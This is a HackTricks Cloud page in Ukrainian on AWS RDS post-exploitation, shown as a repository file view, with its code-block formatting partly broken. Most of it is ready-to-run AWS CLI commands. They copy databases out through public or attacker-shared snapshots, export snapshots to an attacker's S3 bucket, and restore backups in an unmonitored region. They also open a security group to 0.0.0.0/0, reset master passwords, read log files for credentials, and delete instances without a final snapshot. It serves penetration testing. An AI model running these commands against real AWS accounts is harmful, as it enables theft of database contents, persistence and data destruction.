Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
T

8.8 KiB
Raw Blame History

AWS - RDS Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

RDS

Для отримання додаткової інформації дивіться:

{{#ref}} ../aws-services/aws-relational-database-rds-enum.md {{#endref}}

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Якщо зловмисник має достатні дозволи, він може зробити DB публічно доступною, створивши snapshot DB, а потім відновивши з нього публічно доступний DB.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

Атакуючий з цими дозволами може створити snapshot DB і зробити його публічно доступним. Потім він може просто створити у своєму акаунті DB з цього snapshot.

Якщо атакуючий не має rds:CreateDBSnapshot, він все одно може зробити інші створені snapshots публічними.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

Зловмисник, який має дозвіл rds:DownloadDBLogFilePortion, може завантажувати частини файлів журналів екземпляра RDS. Якщо чутливі дані або облікові дані доступу випадково потрапили до журналів, зловмисник може використати цю інформацію для підвищення привілеїв або виконання несанкціонованих дій.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Можливий вплив: Доступ до конфіденційної інформації або несанкціоновані дії з використанням leaked credentials.

rds:DeleteDBInstance

Зловмисник з цими дозволами може DoS існуючі RDS інстанси.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Потенційний вплив: Видалення існуючих RDS instances та можливі втрати даних.

rds:StartExportTask

Note

TODO: Перевірити

Зловмисник із цим дозволом може export an RDS instance snapshot to an S3 bucket. Якщо зловмисник контролює цільовий S3 bucket, він потенційно може отримати доступ до конфіденційних даних у експортованому snapshot.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Potential impact: Доступ до конфіденційних даних у експортованому знімку.

Cross-Region Automated Backups Replication for Stealthy Restore (rds:StartDBInstanceAutomatedBackupsReplication)

Зловживати реплікацією автоматичних резервних копій між регіонами, щоб тихо дублювати автоматичні резервні копії інстансу RDS в інший AWS регіон і відновити їх там. Атакуючий потім може зробити відновлену DB публічно доступною та скинути основний пароль, щоб отримати доступ до даних поза увагою захисників у регіоні, який вони можуть не моніторити.

Permissions needed (minimum):

  • rds:StartDBInstanceAutomatedBackupsReplication у цільовому регіоні
  • rds:DescribeDBInstanceAutomatedBackups у цільовому регіоні
  • rds:RestoreDBInstanceToPointInTime у цільовому регіоні
  • rds:ModifyDBInstance у цільовому регіоні
  • rds:StopDBInstanceAutomatedBackupsReplication (опційне очищення)
  • ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (щоб відкрити відновлену DB)

Impact: Утримання доступу та витік даних шляхом відновлення копії продукційних даних в інший регіон і публічного їх оприлюднення з обліковими даними, контрольованими атакуючим.

End-to-end CLI (replace placeholders) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ --region \ --query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \ --output table

2) Start cross-Region automated backups replication (run in DEST region B)

aws rds start-db-instance-automated-backups-replication
--region <DEST_REGION>
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
--source-region <SOURCE_REGION>
--backup-retention-period 7

3) Wait for replication to be ready in DEST

aws rds describe-db-instance-automated-backups
--region <DEST_REGION>
--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]'
--output table

Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn

4) Restore to latest restorable time in DEST

aws rds restore-db-instance-to-point-in-time
--region <DEST_REGION>
--source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN>
--target-db-instance-identifier <TARGET_DB_ID>
--use-latest-restorable-time
--db-instance-class db.t3.micro aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>

5) Make public and reset credentials in DEST

5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)

OPEN_SG_ID=$(aws ec2 create-security-group --region <DEST_REGION>
--group-name open-rds- --description open --vpc-id <DEST_VPC_ID>
--query GroupId --output text) aws ec2 authorize-security-group-ingress --region <DEST_REGION>
--group-id "$OPEN_SG_ID"
--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'

5b) Publicly expose restored DB and attach the SG

aws rds modify-db-instance --region <DEST_REGION>
--db-instance-identifier <TARGET_DB_ID>
--publicly-accessible
--vpc-security-group-ids "$OPEN_SG_ID"
--apply-immediately aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>

5c) Reset the master password

aws rds modify-db-instance --region <DEST_REGION>
--db-instance-identifier <TARGET_DB_ID>
--master-user-password '<NEW_STRONG_PASSWORD>'
--apply-immediately aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>

6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)

ENDPOINT=$(aws rds describe-db-instances --region <DEST_REGION>
--db-instance-identifier <TARGET_DB_ID>
--query 'DBInstances[0].Endpoint.Address' --output text) mysql -h "$ENDPOINT" -u <MASTER_USERNAME> -p'<NEW_STRONG_PASSWORD>' -e 'SHOW DATABASES;'

7) Optional: stop replication

aws rds stop-db-instance-automated-backups-replication
--region <DEST_REGION>
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>

</details>


{{#include ../../../banners/hacktricks-training.md}}